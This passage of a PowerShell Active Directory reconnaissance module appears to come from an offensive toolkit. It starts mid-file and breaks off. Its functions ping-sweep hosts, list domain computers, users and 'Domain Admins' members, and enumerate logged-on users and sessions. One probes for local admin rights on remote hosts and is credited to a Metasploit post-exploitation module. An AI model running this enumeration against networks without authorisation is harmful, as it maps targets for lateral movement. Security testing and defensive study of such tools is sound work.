https://github.com/proxb/PoshRSJob module; all credit to Boe! - - if($PSVersionTable.PSVersion.Major -gt 2) - { - #Extract using references - $UsingVariables = $ScriptBlock.ast.FindAll({$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]},$True) - - If ($UsingVariables) - { - $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' - ForEach ($Ast in $UsingVariables) - { - [void]$list.Add($Ast.SubExpression) - } - - $UsingVar = $UsingVariables | Group Parent | ForEach {$_.Group | Select -First 1} - - #Extract the name, value, and create replacements for each - $UsingVariableData = ForEach ($Var in $UsingVar) { - Try - { - $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop - $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - [pscustomobject]@{ - Name = $Var.SubExpression.Extent.Text - Value = $Value.Value - NewName = $NewName - NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - } - $ParamsToAdd += $NewName - } - Catch - { - Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" - } - } - - $NewParams = $UsingVariableData.NewName -join ', ' - $Tuple = [Tuple]::Create($list, $NewParams) - $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" - $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags)) - - $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple)) - - $ScriptBlock = [scriptblock]::Create($StringScriptBlock) - - Write-Verbose $StringScriptBlock - } - } - - $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) - } - else - { - Throw "Must provide ScriptBlock or ScriptFile"; Break - } - - Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" - Write-Verbose "Creating runspace pool and session states" - - #If specified, add variables and modules/snapins to session state - $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - if ($ImportVariables) - { - if($UserVariables.count -gt 0) - { - foreach($Variable in $UserVariables) - { - $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) ) - } - } - } - if ($ImportModules) - { - if($UserModules.count -gt 0) - { - foreach($ModulePath in $UserModules) - { - $sessionstate.ImportPSModule($ModulePath) - } - } - if($UserSnapins.count -gt 0) - { - foreach($PSSnapin in $UserSnapins) - { - [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) - } - } - } - - #Create runspace pool - $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) - $runspacepool.Open() - - Write-Verbose "Creating empty collection to hold runspace jobs" - $Script:runspaces = New-Object System.Collections.ArrayList - - #If inputObject is bound get a total count and set bound to true - $global:__bound = $false - $allObjects = @() - if( $PSBoundParameters.ContainsKey("inputObject") ){ - $global:__bound = $true - } - - #endregion INIT - } - - Process { - #add piped objects to all objects or set all objects to bound input object parameter - if( -not $global:__bound ){ - $allObjects += $inputObject - } - else{ - $allObjects = $InputObject - } - } - - End { - - #Use Try/Finally to catch Ctrl+C and clean up. - Try - { - #counts for progress - $totalCount = $allObjects.count - $script:completedCount = 0 - $startedCount = 0 - - foreach($object in $allObjects){ - - #region add scripts to runspace pool - - #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters - $powershell = [powershell]::Create() - - if ($VerbosePreference -eq 'Continue') - { - [void]$PowerShell.AddScript({$VerbosePreference = 'Continue'}) - } - - [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) - - if ($parameter) - { - [void]$PowerShell.AddArgument($parameter) - } - - # $Using support from Boe Prox - if ($UsingVariableData) - { - Foreach($UsingVariable in $UsingVariableData) { - Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" - [void]$PowerShell.AddArgument($UsingVariable.Value) - } - } - - #Add the runspace into the powershell instance - $powershell.RunspacePool = $runspacepool - - #Create a temporary collection for each runspace - $temp = "" | Select-Object PowerShell, StartTime, object, Runspace - $temp.PowerShell = $powershell - $temp.StartTime = Get-Date - $temp.object = $object - - #Save the handle output when calling BeginInvoke() that will be used later to end the runspace - $temp.Runspace = $powershell.BeginInvoke() - $startedCount++ - - #Add the temp tracking info to $runspaces collection - Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() ) - $runspaces.Add($temp) | Out-Null - - #loop through existing runspaces one time - Get-RunspaceData - - #If we have more running than max queue (used to control timeout accuracy) - #Script scope resolves odd PowerShell 2 issue - $firstRun = $true - while ($runspaces.count -ge $Script:MaxQueue) { - - #give verbose output - if($firstRun){ - Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." - } - $firstRun = $false - - #run get-runspace data and sleep for a short while - Get-RunspaceData - Start-Sleep -Milliseconds $sleepTimer - } - #endregion add scripts to runspace pool - } - - Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) ) - Get-RunspaceData -wait - } - Finally - { - #Close the runspace pool, unless we specified no close on timeout and something timed out - if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false) ) ) { - Write-Verbose "Closing the runspace pool" - $runspacepool.close() - } - #collect garbage - [gc]::Collect() - } - } - } - - Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" - - $bound = $PSBoundParameters.keys -contains "ComputerName" - if(-not $bound) - { - [System.Collections.ArrayList]$AllComputers = @() - } - } - Process - { - #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work - if($bound) - { - $AllComputers = $ComputerName - } - Else - { - foreach($Computer in $ComputerName) - { - $AllComputers.add($Computer) | Out-Null - } - } - } - End - { - #Built up the parameters and run everything in parallel - $params = @() - $splat = @{ - Throttle = $Throttle - RunspaceTimeout = $Timeout - InputObject = $AllComputers - } - if($NoCloseOnTimeout) - { - $splat.add('NoCloseOnTimeout',$True) - } - - Invoke-Parallel @splat -ScriptBlock { - $computer = $_.trim() - Try - { - #Pick out a few properties, add a status label. If quiet output, just return the address - $result = $null - if( $result = @( Test-Connection -ComputerName $computer -Count 2 -erroraction Stop ) ) - { - $Output = $result | Select -first 1 -Property Address, IPV4Address, IPV6Address, ResponseTime, @{ label = "STATUS"; expression = {"Responding"} } - $Output.address - } - } - Catch - { - } - } - } -} - - -function Test-Server { - <# - .SYNOPSIS - Tests a connection to a remote server. - - .DESCRIPTION - This function uses either ping (test-connection) or RPC - (through WMI) to test connectivity to a remote server. - - .PARAMETER Server - The hostname/IP to test connectivity to. - - .OUTPUTS - $True/$False - - .EXAMPLE - > Test-Server -Server WINDOWS7 - Tests ping connectivity to the WINDOWS7 server. - - .EXAMPLE - > Test-Server -RPC -Server WINDOWS7 - Tests RPC connectivity to the WINDOWS7 server. - - .LINK - http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560 - #> - - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$true)] - [String] - $Server, - - [Switch] - $RPC - ) - - process { - if ($RPC){ - $WMIParameters = @{ - namespace = 'root\cimv2' - Class = 'win32_ComputerSystem' - ComputerName = $Name - ErrorAction = 'Stop' - } - if ($Credential -ne $null) - { - $WMIParameters.Credential = $Credential - } - try - { - Get-WmiObject @WMIParameters - } - catch { - Write-Verbose -Message 'Could not connect via WMI' - } - } - # otherwise, use ping - else{ - Test-Connection -ComputerName $Server -count 1 -Quiet - } - } -} - - -######################################################## -# -# Domain info functions below. -# -######################################################## - -function Convert-SidToName { - <# - .SYNOPSIS - Converst a security identifier (SID) to a group/user name. - - .PARAMETER SID - The SID to convert. - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [String] - $SID - ) - - process { - try { - $obj = (New-Object System.Security.Principal.SecurityIdentifier($SID)) - $obj.Translate( [System.Security.Principal.NTAccount]).Value - } - catch { - Write-Warning "invalid SID" - } - } -} - - -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. - - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomain - Return the current domain. - - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - - -function Get-NetDomainControllers { - <# - .SYNOPSIS - Return the current domain controllers for the active domain. - - .PARAMETER Domain - The domain to query for domain controllers. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomainControllers - Returns the domain controllers for the current computer's domain. - Approximately equivialent to the hostname given in the LOGONSERVER - environment variable. - - .EXAMPLE - > Get-NetDomainControllers -Domain test - Returns the domain controllers for the domain "test". - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.DomainControllers - } -} - - -######################################################## -# -# "net *" replacements and other fun start below -# -######################################################## - -function Get-NetCurrentUser { - [System.Security.Principal.WindowsIdentity]::GetCurrent().Name -} - -function Get-NameField { - # function that attempts to extract the appropriate field name - # from various passed objects. This is so functions can have - # multiple types of objects passed on the pipeline. - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - $object - ) - process { - if($object){ - if ( [bool]($object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputers - $object.dnshostname - } - elseif ( [bool]($object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainControllers - $object.name - } - else { - # strings and catch alls - $object - } - } - else{ - return $Null - } - } -} - - -function Get-NetComputers { - <# - .SYNOPSIS - Gets an array of all current computers objects in a domain. - - .DESCRIPTION - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER HostName - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Ping - Ping each host to ensure it's up before enumerating. - - .PARAMETER FullData - Return full user computer objects instead of just system names (the default). - - .PARAMETER Domain - The domain to query for computers. - - .OUTPUTS - System.Array. An array of found system objects. - - .EXAMPLE - > Get-NetComputers - Returns the current computers in current domain. - - .EXAMPLE - > Get-NetComputers -SPN mssql* - Returns all MS SQL servers on the domain. - - .EXAMPLE - > Get-NetComputers -Domain testing - Returns the current computers in 'testing' domain. - - > Get-NetComputers -Domain testing -FullData - Returns full computer objects in the 'testing' domain. - - .LINK - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 - #> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = '*', - - [string] - $SPN = '*', - - [string] - $OperatingSystem = '*', - - [string] - $ServicePack = '*', - - [Switch] - $Ping, - - [Switch] - $FullData, - - [string] - $Domain - ) - - process { - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - # create the searcher object with our specific filters - if ($ServicePack -ne '*'){ - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if ($ServicePack -ne '*'){ - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - } - - if ($CompSearcher){ - - # eliminate that pesky 1000 system limit - $CompSearcher.PageSize = 200 - - $CompSearcher.FindAll() | ForEach-Object { - $up = $true - if($Ping){ - $up = Test-Server -Server $_.properties.dnshostname - } - if($up){ - # return full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - } - $out - } - else{ - # otherwise we're just returning the DNS host name - $_.properties.dnshostname - } - } - } - } - - } -} - - -function Get-NetGroup { - <# - .SYNOPSIS - Gets a list of all current users in a specified domain group. - - .DESCRIPTION - This function users [ADSI] and LDAP to query the current AD context - or trusted domain for users in a specified group. If no GroupName is - specified, it defaults to querying the "Domain Admins" group. - This is a replacement for "net group 'name' /domain" - - .PARAMETER GroupName - The group name to query for users. If not given, it defaults to "Domain Admins" - - .PARAMETER Domain - The domain to query for group users. - - .EXAMPLE - > Get-NetGroup - Returns the usernames that of members of the "Domain Admins" domain group. - - .EXAMPLE - > Get-NetGroup -Domain testing -GroupName "Power Users" - Returns the usernames that of members of the "Power Users" group - in the 'testing' domain. - - .LINK - http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$true)] - [string] - $GroupName = 'Domain Admins', - - [Switch] - $FullData, - - [string] - $Domain - ) - - process { - - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $GroupSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - # samAccountType=805306368 indicates user objects - $GroupSearcher.filter = "(&(objectClass=group)(name=$GroupName))" - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - $Domain = (Get-NetDomain).Name - - # otherwise, use the current domain - $GroupSearcher = [adsisearcher]"(&(objectClass=group)(name=$GroupName))" - } - - if ($GroupSearcher){ - $GroupSearcher.PageSize = 200 - $GroupSearcher.FindAll() | % { - try{ - $GroupFoundName = $_.properties.name[0] - $_.properties.member | ForEach-Object { - # for each user/member, do a quick adsi object grab - if ($PrimaryDC){ - $properties = ([adsi]"LDAP://$PrimaryDC/$_").Properties - } - else { - $properties = ([adsi]"LDAP://$_").Properties - } - - $out = New-Object psobject - $out | add-member Noteproperty 'GroupDomain' $Domain - $out | Add-Member Noteproperty 'GroupName' $GroupFoundName - - if ($FullData){ - $properties.PropertyNames | % { - # TODO: errors on cross-domain users? - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - } - else { - $UserDN = $properties.distinguishedName[0] - # extract the FQDN from the Distinguished Name - $UserDomain = $UserDN.subString($UserDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - if ($properties.samAccountName){ - # forest users have the samAccountName set - $userName = $properties.samAccountName[0] - } - else { - # external trust users have a SID, so convert it - try { - $userName = Convert-SidToName $properties.cn[0] - } - catch { - # if there's a problem contacting the domain to resolve the SID - $userName = $properties.cn - } - } - $out | add-member Noteproperty 'UserDomain' $userDomain - $out | add-member Noteproperty 'UserName' $userName - $out | add-member Noteproperty 'UserDN' $UserDN - } - $out - } - } - catch {} - } - } - } -} - - - -function Get-NetFileServers { - <# - .SYNOPSIS - Returns a list of all file servers extracted from user - homedirectory, scriptpath, and profilepath fields. - - .PARAMETER Domain - The domain to query for user file servers. - - .EXAMPLE - > Get-NetFileServers - Returns active file servers. - - .EXAMPLE - > Get-NetFileServers -Domain testing - Returns active file servers for the 'testing' domain. - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $Servers = @() - - Get-NetUser -Domain $Domain | % { - if($_.homedirectory){ - $temp = $_.homedirectory.split("\\")[2] - if($temp -and ($temp -ne '')){ - $Servers += $temp - } - } - if($_.scriptpath){ - $temp = $_.scriptpath.split("\\")[2] - if($temp -and ($temp -ne '')){ - $Servers += $temp - } - } - if($_.profilepath){ - $temp = $_.profilepath.split("\\")[2] - if($temp -and ($temp -ne '')){ - $Servers += $temp - } - } - } - - # uniquify the fileserver list and return it - $($Servers | Sort-Object -Unique) -} - - -function Get-NetUser { - <# - .SYNOPSIS - Query information for a given user or users in the domain. - - .DESCRIPTION - This function users [ADSI] and LDAP to query the current - domain for all users. Another domain can be specified to - query for users across a trust. - This is a replacement for "net users /domain" - - .PARAMETER UserName - Username filter string, wildcards accepted. - - .PARAMETER Domain - The domain to query for users. If not supplied, the - current domain is used. - - .PARAMETER OU - The OU to pull users from. - - .PARAMETER Filter - The complete LDAP query string to use to query for users. - - .EXAMPLE - > Get-NetUser - Returns the member users of the current domain. - - .EXAMPLE - > Get-NetUser -Domain testing - Returns all the members in the "testing" domain. - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $UserName, - - [string] - $OU, - - [string] - $Filter, - - [string] - $Domain - ) - process { - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we have an OU specified, be sure to through it in - if($OU){ - $dn = "OU=$OU,$dn" - } - - # use the specified LDAP query string to query for users - if($Filter){ - Write-Verbose "LDAP: $Filter" - $dn = $Filter - } - - # if we could grab the primary DC for the current domain, use that for the query - if ($PrimaryDC){ - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - # check if we're using a username filter or not - if($UserName){ - # samAccountType=805306368 indicates user objects - $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName))" - } - else{ - $UserSearcher.filter='(&(samAccountType=805306368))' - } - $UserSearcher.PageSize = 200 - $UserSearcher.FindAll() | ForEach-Object { - # for each user/member, do a quick adsi object grab - $properties = $_.Properties - $out = New-Object psobject - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - } - $out - } - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if($UserName){ - $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))" - } - # if we're specifying an OU - elseif($OU){ - $dn = "OU=$OU," + ([adsi]'').distinguishedname - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - $UserSearcher.filter='(&(samAccountType=805306368))' - } - # if we're specifying a specific LDAP query string - elseif($Filter){ - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$Filter") - $UserSearcher.filter='(&(samAccountType=805306368))' - } - else{ - $UserSearcher = [adsisearcher]'(&(samAccountType=805306368))' - } - $UserSearcher.PageSize = 200 - - $UserSearcher.FindAll() | ForEach-Object { - # for each user/member, do a quick adsi object grab - $properties = $_.Properties - $out = New-Object psobject - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - } - $out - } - } - } -} - - - -function Get-NetLoggedon { - <# - .SYNOPSIS - Gets users actively logged onto a specified server. - - .DESCRIPTION - This function will execute the NetWkstaUserEnum Win32API call to query - a given host for actively logged on users. - - .PARAMETER HostName - The hostname to query for logged on users. - - .OUTPUTS - WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users. - - .EXAMPLE - > Get-NetLoggedon - Returns users actively logged onto the local host. - - .EXAMPLE - > Get-NetLoggedon -HostName sqlserver - Returns users actively logged onto the 'sqlserver' host. - - .LINK - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName - - # Declare the reference variables - $QueryLevel = 1 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($HostName, $QueryLevel,[ref]$PtrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() - - Write-Debug "Get-NetLoggedon result: $Result" - - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $WKSTA_USER_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment - - } - # free up the result buffer - $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} - - -function Get-NetSessions { - <# - .SYNOPSIS - Gets active sessions for a specified server. - Heavily adapted from dunedinite's post on stackoverflow (see LINK below) - - .DESCRIPTION - This function will execute the NetSessionEnum Win32API call to query - a given host for active sessions on the host. - - .PARAMETER HostName - The hostname to query for active sessions. - - .PARAMETER UserName - The user name to filter for active sessions. - - .OUTPUTS - SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 - result structure which includes the host and username associated - with active sessions. - - .EXAMPLE - > Get-NetSessions - Returns active sessions on the local host. - - .EXAMPLE - > Get-NetSessions -HostName sqlserver - Returns active sessions on the 'sqlserver' host. - - .LINK - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', - - [string] - $UserName = '' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName - - # arguments for NetSessionEnum - $QueryLevel = 10 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get session information - $Result = $Netapi32::NetSessionEnum($HostName, '', $UserName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() - - Write-Debug "Get-NetSessions result: $Result" - - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $SESSION_INFO_10 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment - - } - # free up the result buffer - $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} - - -function Invoke-CheckLocalAdminAccess { - <# - .SYNOPSIS - Checks if the current user context has local administrator access - to a specified host or IP. - - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' - - .DESCRIPTION - This function will use the OpenSCManagerW Win32API call to to establish - a handle to the remote host. If this succeeds, the current user context - has local administrator acess to the target. - - .PARAMETER HostName - The hostname to query for active sessions. - - .OUTPUTS - $true if the current user has local admin access to the hostname, - $false otherwise - - .EXAMPLE - > Invoke-CheckLocalAdminAccess -HostName sqlserver - Returns active sessions on the local host. - - .LINK - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName - - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $handle = $Advapi32::OpenSCManagerW("\\$HostName", 'ServicesActive', 0xF003F) - - Write-Debug "Invoke-CheckLocalAdminAccess handle: $handle" - - # if we get a non-zero handle back, everything was successful - if ($handle -ne 0){ - # Close off the service handle - $Advapi32::CloseServiceHandle($handle) | Out-Null - $true - } - else{ - # otherwise it failed 